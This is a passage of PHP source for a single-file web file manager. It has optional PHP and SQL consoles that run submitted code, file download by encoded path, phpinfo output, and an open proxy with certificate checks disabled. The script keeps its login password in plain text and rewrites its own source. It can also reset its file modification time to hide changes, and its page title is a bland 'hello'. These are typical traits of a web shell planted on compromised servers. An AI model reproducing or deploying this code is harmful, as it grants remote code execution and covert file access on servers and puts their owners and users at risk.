	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
